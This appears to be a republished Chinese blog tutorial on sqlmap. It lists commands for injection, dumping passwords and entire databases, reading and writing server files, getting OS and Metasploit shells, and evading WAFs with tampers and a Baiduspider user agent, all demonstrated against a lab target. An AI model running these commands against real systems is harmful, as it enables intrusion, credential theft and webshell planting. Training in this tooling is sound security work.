渗透利器-sqlmap超级详解

这篇具有很好参考价值的文章主要介绍了渗透利器-sqlmap超级详解。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

0X01 背景介绍

0X02 原理简述

0X03 参数说明

0X04 实战举例

0X05  高级用法

0X06 总结


0X01 背景介绍

        官网:http://sqlmap.org

        目前支持的数据库有:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, SQLite, Sybase, Vertica, eXtremeDB等

        Sqlmap采用了以下5种独特的SQL注入技术:

  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
  • 联合查询注入,在可以使用Union的情况下注入
  • 堆查询注入,可以同时执行多条语句时的注入

        Sqlmap的强大的功能还包括:

  1. 数据库指纹识别
  2. 数据库名枚举
  3. 数据提取
  4. 访问目标文件系统,getshell

0X02 原理简述

        工作流程结构图:

渗透利器-sqlmap超级详解

        推荐sqlmap详细原理博客:SQLMAP 流程分析 - 简书

0X03 参数说明

1、sqlmap -r http.txt  # http.txt是我们抓取的http的请求包
2、sqlmap -r http.txt -p username  # 指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
3、sqlmap -u "http://www.xxxxx.com/username/admin*"       # 如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入
4、sqlmap -u "http://192.168.1.1/Less-1/?id=1"   # 探测该url是否存在漏洞
5、sqlmap -u "http://192.168.1.1/Less-1/?id=1"   --cookie="抓取的cookie"   # 当该网站需要登录时,探测该url是否存在漏洞
6、sqlmap -u "http://192.168.1.1/Less-1/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  # 抓取其post提交的data数据填入
7、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --users      # 查看数据库的所有用户
8、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --passwords  # 查看数据库用户名的密码
    有时候使用 --passwords 不能获取到密码,则可以试下:
        -D mysql -T user -C host,user,password --dump  # 当MySQL< 5.7时
        -D mysql -T user -C host,user,authentication_string --dump  # 当MySQL>= 5.7时
9、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --current-user  # 查看数据库当前的用户
10、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --is-dba    # 判断当前用户是否有管理员权限
11、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --roles   # 列出数据库所有管理员角色,仅适用于oracle数据库的时候 
12、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --dbs        # 爆出所有的数据库
13、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --tables     # 爆出所有的数据表
14、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --columns    # 爆出数据库中所有的列
15、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --current-db # 查看当前的数据库
16、sqlmap -u "http://192.168.1.1/Less-1/?id=1" -D security --tables # 爆出数据库security中的所有的表
17、sqlmap -u "http://192.168.1.1/Less-1/?id=1" -D security -T users --columns # 爆出security数据库中users表中的所有的列
18、sqlmap -u "http://192.168.1.1/Less-1/?id=1" -D security -T users -C username --dump  # 爆出数据库security中的users表中的username列中的所有数据
19、sqlmap -u "http://192.168.1.1/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100  # 爆出数据库security中的users表中的username列中的前100条数据
20、sqlmap -u "http://192.168.1.1/Less-1/?id=1" -D security -T users --dump-all # 爆出数据库security中的users表中的所有数据
21、sqlmap -u "http://192.168.1.1/Less-1/?id=1" -D security --dump-all   # 爆出数据库security中的所有数据
22、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --dump-all  # 爆出该数据库中的所有数据
23、sqlmap -u "http://192.168.1.1/Less-1/?id=1"  --tamper=space2comment.py  # 指定脚本进行过滤,用/**/代替空格
24、sqlmap -u "http://192.168.1.1/Less-4/?id=1" --level=5 --risk=3 # 探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
25、sqlmap -u "http://192.168.1.1/Less-1/?id=1" --sql-shell  # 执行指定的sql语句
26、sqlmap -u "http://192.168.1.1/Less-4/?id=1" --os-shell/--os-cmd   # 执行--os-shell命令,获取目标服务器权限
27、sqlmap -u "http://192.168.1.1/Less-4/?id=1" --os-pwn   # 执行--os-pwn命令,将目标权限弹到MSF上 
28、sqlmap -u "http://192.168.1.1/Less-4/?id=1" --file-read "D:/test.txt" # 读取目标服务器D盘下的test.txt文件
29、sqlmap -u "http://192.168.1.1/Less-4/?id=1" --file-write  test.txt  --file-dest "D:/submit.txt"  # 将本地的test.txt文件上传到目标服务器的D盘下,并且名字为submit.txt
30、sqlmap -u "http://192.168.1.1/Less-4/?id=1" --dbms="MySQL"     # 指定其数据库为mysql 
31、sqlmap -u "http://192.168.1.1/Less-4/?id=1" --random-agent   # 使用任意的User-Agent爆破
32、sqlmap -u "http://192.168.1.1/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    # 指定代理,当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl
33、sqlmap -u "http://192.168.1.1/Less-4/?id=1" --technique T    # 指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,最好是我们直接手工指定。
    支持的探测方式如下:
        B: Boolean-based blind SQL injection(布尔型注入)
        E: Error-based SQL injection(报错型注入)
        U: UNION query SQL injection(可联合查询注入)
        S: Stacked queries SQL injection(可多语句查询注入)
        T: Time-based blind SQL injection(基于时间延迟注入)
		  
34、sqlmap -d "mysql://root:root@192.168.1.1:3306/mysql" --os-shell   # 知道网站的账号密码直接连接
35、其他常用参数说明
        -v3                   # 输出详细度  最大值5 会显示请求包和回复包
        --threads 5           # 指定线程数
        --fresh-queries       # 清除缓存
        --flush-session       # 清空会话,重构注入 
        --batch               # 对所有的交互式的都是默认的
        --random-agent        # 任意的http头
        --tamper base64encode            # 对提交的数据进行base64编码
        --referer http://www.baidu.com   # 伪造referer字段
        --keep-alive     # 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数

0X04 实战举例

查看数据库所有用户名的密码(--passwords)

        python3 sqlmap.py -u "http://192.168.187.129:9002/Less-1/?id=1" --password

渗透利器-sqlmap超级详解

查看数据库当前用户(--current-user)

        python3 sqlmap.py -u "http://192.168.187.129:9002/Less-1/?id=1" --current-user

渗透利器-sqlmap超级详解

判断当前用户是否有管理权限(--is-dba)

        python3 sqlmap.py -u "http://192.168.187.129:9002/Less-1/?id=1" --is-dba

渗透利器-sqlmap超级详解

列出数据库管理员角色(--roles)

        python3 sqlmap.py -u "http://192.168.187.129:9002/Less-1/?id=1" --role

渗透利器-sqlmap超级详解

查看所有的数据库(--dbs)

        python3 sqlmap.py -u "http://192.168.187.129:9002/Less-1/?id=1" --dbs

渗透利器-sqlmap超级详解

查看当前的数据库(--current-db)

        python3 sqlmap.py -u "http://192.168.187.129:9002/Less-1/?id=1" --current-db

渗透利器-sqlmap超级详解

爆出指定数据库中的所有的表(--tables)

        python3 sqlmap.py -u "http://192.168.187.129:9002/Less-1/?id=1" -D security --tables

渗透利器-sqlmap超级详解

爆出指定数据库指定表中的所有的列(--columns)

        python3 sqlmap.py -u "http://192.168.187.129:9002/Less-1/?id=1" -D security -T users --columns

渗透利器-sqlmap超级详解

爆出指定数据库指定表指定列下的数据(--dump)

        python3 sqlmap.py -u "http://192.168.187.129:9002/Less-1/?id=1" -D security -T users -C username --dump

渗透利器-sqlmap超级详解

爆出该网站数据库中的所有数据(--dump-all)

        python3 sqlmap.py -u "http://192.168.187.129:9002/Less-1/?id=1" -D security --dump-all   # 爆出数据库security中的所有数据 

渗透利器-sqlmap超级详解

0X05  高级用法

探测指定URL是否存在WAF,并且绕过

  1. --identify-waf   # 检测是否有WAF
  2. --random-agent    # 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
  3. --time-sec=3      # 使用长的延时来避免触发WAF的机制,这方式比较耗时
  4. --hpp             # 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
  5. --proxy=127.0.0.1:8080 --proxy-cred=211:985      # 使用代理进行绕过
  6. --ignore-proxy    # 禁止使用系统的代理,直接连接进行注入
  7. --flush-session   # 清空会话,重构注入
  8. --hex 或者 --no-cast    # 进行字符码转换
  9. --mobile          # 对移动端的服务器进行注入
  10. --tor             # 匿名注入

指定脚本进行绕过waf(--tamper) 

        针对网站会过滤掉各种字符情况,可以用tamper来解决

        过滤脚本在目录:/usr/share/sqlmap/tamper

        sqlmap  --tamper=space2comment.py  # 用/**/代替空格

        sqlmap  --tamper="space2comment.py,space2plus.py"  # 指定多个脚本进行过滤

伪造Http Referer头部(--referer)

        sqlmap当探测等级为3或者3以上时,会尝试对referer注入,可以使用--referer参数在请求包中伪造HTTP中的referer来欺骗。

        --referer http://www.baidu.com

执行指定的SQL语句(--sql-shell)             

        sqlmap -u "http://192.168.1.1/Less-1/?id=1" --sql-shell   # 执行指定的sql语句

        回车执行后会提示我们输入要查询的SQL语句,注意这里的SQL语句最后不要有分号。

Windows 注册表访问        

        这些选项可以被用来访问后端数据库管理系统Windows 注册表。

        –reg-read 读一个Windows 注册表项值

        –reg-add 写一个Windows 注册表项值数据

        –reg-del 删除Windows 注册表键值

        –reg-key=REGKEY Windows 注册表键

        –reg-value=REGVAL Windows 注册表项值

        –reg-data=REGDATA Windows 注册表键值数据

        –reg-type=REGTYPE Windows 注册表项值类型

执行操作系统命令(--os-shell)      

        执行条件:

                数据库为MySQL、PostgreSql或者SQL Server时。

                当为MySQL数据库时,需满足下面三个条件:

  • 当前用户为 root
  • 知道网站根目录的绝对路径
  • 该数据库的 secure_file_priv 参数值为空,注意为null时不行

        sqlmap -u "http://192.168.1.1/Less-4/?id=1" --os-shell  # 执行--os-shell命令

        总结:使用os-shell参数执行时,sqlmap最终会向网站根目录写入两个文件 tmpblwkd.php和tmpueqch.php,其中真正的木马文件是tmpblwkd.php。如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入x或q退出 sqlmap 时,该文件才会被自动删除。

反弹一个MSF的shell(--os-pwn)

        在数据库为MySQL、PostgreSql或者SQL Server时,可以执行该选项。并且需要当前获取的权限足够高才可以。

        sqlmap -u "http://192.168.1.1/index.php?id=1http://192.168.1.1/index.php?id=1"  --os-pwn

读取服务器文件(--file-read)  

        当数据库为MySQL、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。

        sqlmap -u "http://192.168.1.1/Less-1/?id=1" --file-read "E:/test.txt"  # 读取目标服务器E盘下的test.txt文件

上传文件到数据库服务器中(--file-write  --file-dest)

        条件:        

                数据库为MySQL、Postgre SQL或者Sql Server(通过powershell写入)

                当前用户有权限向任意目录写文件的时候

                知道网络的绝对路径

        注意:文件可以是文本,也可以是二进制文件。

        sqlmap.py -u http://192.168.1.1/Less-1/?id=1 --file-write C:\submit.php --file-dest "C:\phpStudy\WWW\1.php"  #将本地的C:\submit.php文件上传到目标服务器C:\phpStudy\WWW\1.php

        该操作完成后会询问是否想验证上传成功,选择y的话,它就会读取该文件的大小,并且和本地的文件大小做比较,只要大于等于本地文件大小即说明上传成功了​。

0X06 总结

(1)探测等级和危险等级(--level --risk)总结

        1、Sqlmap一共有5个探测等级

                默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。

                当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,

                HTTP cookie在level为2时就会测试,

                HTTP  User-Agent/Referer头在level为3时就会测试。

                在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5。

        2、Sqlmap一共有3个危险等级     

                也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级,--risk=3      

(2)Sqlmap在默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以使用--tamper参数对数据进行修改来绕过WAF等设备,其中的大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。     

(3)更改默认UA:Sqlmap默认的User-Agent:sqlmap/1.1.9.22#dev:

        在sqlmap目录下的lib/core/settings.py中找到代码

        DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE),将其更改为百度爬虫ua:

        DEFAULT_USER_AGENT = "User-Agent:Mozilla/5.0 (compatible; baiduspider/2.0; +http://www.baidu.com/search/spider.html)"

        使其有百度爬虫标识,扫描时可过一些waf。或者使用时添加一个 --random-agent 参数作用相似。文章来源地址https://www.toymoban.com/news/detail-441747.html

到了这里,关于渗透利器-sqlmap超级详解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 渗透工具-sqlmap-基本知识及使用教程

      -u 指定目标URL (可以是http协议也可以是https协议) -d 连接数据库 --dbs 列出所有的数据库 --current-db 列出当前数据库 --tables 列出当前的表 --columns 列出当前的列 -D 选择使用哪个数据库 -T 选择使用哪个表 -C 选择使用哪个列 --dump 获取字段中的数据 --dump-all  拖库 --batch  自动选择

    2024年02月04日
    浏览(46)
  • sqlmap 是一个自动化的 sql 注入渗透工具

    一.介绍 sqlmap 是一个自动化的 sql 注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,sqlmap 还提供了很多脚本.但在实践测试的时候基本用不上.用于检测和利用 Web 应用程序中的 SQL 注入漏洞。它自动化了识别和利用 SQL 注入漏洞的过程,并可用于执

    2024年01月23日
    浏览(49)
  • 内网渗透代理转发详解及工具介绍

    介绍一下个人网站 欢迎各位大佬光顾 http://www.sec0nd.top 在进行渗透测试时,getshell打点之后就要进行内网渗透了,那么为了更方便的进行横向移动,需要做代理转发。今天来了解下代理转发以及相关的工具。 代理有两种形式, 映射和转发 ,最终的表现形式均为代理 端口映射

    2024年02月11日
    浏览(49)
  • Golang 程序性能优化利器 PGO 详解(一):简单介绍及使用

    在软件开发过程中,性能优化是不可或缺的一部分。无论是在Web服务、数据处理系统还是实时通信中,良好的性能都是至关重要的。Golang 从1.20版版本开始引入的 Profile Guided Optimization(PGO)机制能够帮助更好地优化 Go 程序的性能。 编译器在编译程序的时候会对程序做很多优

    2024年02月13日
    浏览(33)
  • 渗透测试模拟(使用sqlmap进行sql注入漏洞判断,利用该漏洞进行挂马)

    环境:对某网站进行渗透测试。 (PHP+Mysql开发的网站,用于WEB漏洞教学和检测的) 工具:sqlmap(Kali Linux中自带or官网下载Windows版) 此次实验所涉及的sqlmap参数: 一、信息收集 二、漏洞挖掘 (1)判断网站是否存在sql注入漏洞 使用工具,sqlmap: sqlmap -u \\\"目标网站地址\\\" --ba

    2024年02月15日
    浏览(44)
  • 注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等

    1、SQLMAP-常规猜解字典配置 2、SQLMAP-权限操作文件命令 3、SQLMAP-Tamper使用开发 4、SQLMAP-调试指纹风险等级 https://www.cnblogs.com/bmjoker/p/9326258.html 测试:http://vulnweb.com/ –current-db –tables -D “” –columns -T “” -D “” –dump -C “” -C “” -T “” 1.IIS, ASP, Microsoft SQL Server(ACCESS数据

    2024年02月22日
    浏览(37)
  • 【Linux 系统编程】Linux背景介绍 及 基本指令详解(一)

    1.1 发展史 本门课程学习Linux系统编程,你可能要问Linux从哪里来?它是怎么发展的?在这里简要介绍Linux的发展史。要说Linux,还得从UNIX说起。 UNIX发展的历史 1968年,一些来自通用电器公司、贝尔实验室和麻省理工学院的研究人员开发了一个名叫Multics的特殊操作系统。Multi

    2024年02月11日
    浏览(45)
  • 进入黑客的世界:Kali Linux 中的 Metasploit 渗透测试利器

    数据来源   本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。  得到ip地址我们能干嘛?         首先进行端口扫描 为什么要进行端口扫描?         端口扫描的作用就是发现目

    2024年02月06日
    浏览(46)
  • 超级利器!Postman自动化接口测试让你提升测试效率,节省宝贵时间!

    Postman自动化接口测试 该篇文章针对已经掌握 Postman 基本用法的读者,即对接口相关概念有一定了解、已经会使用 Postman 进行模拟请求的操作。 当前环境: Window 7 - 64 Postman 版本(免费版):Chrome App v5.5.3 不同版本页面 UI 和部分功能位置会有点不同,不过影响不大。 我们先思

    2024年01月20日
    浏览(61)
  • 网路安全技能竞赛——【Linux操作系统渗透提权】解析(超级详细)

    Linux操作系统渗透提权 任务环境说明: 服务器场景:Server2202(关闭链接) 用户名:hacker        密码:123456 使用渗透机对服务器信息收集,并将服务器中SSH服务端口号作为flag提交; 我这里使用qemu虚拟化启动靶机,如下图所示   Arp-scan -l主机发现   进行端口信息服务探

    2024年02月08日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包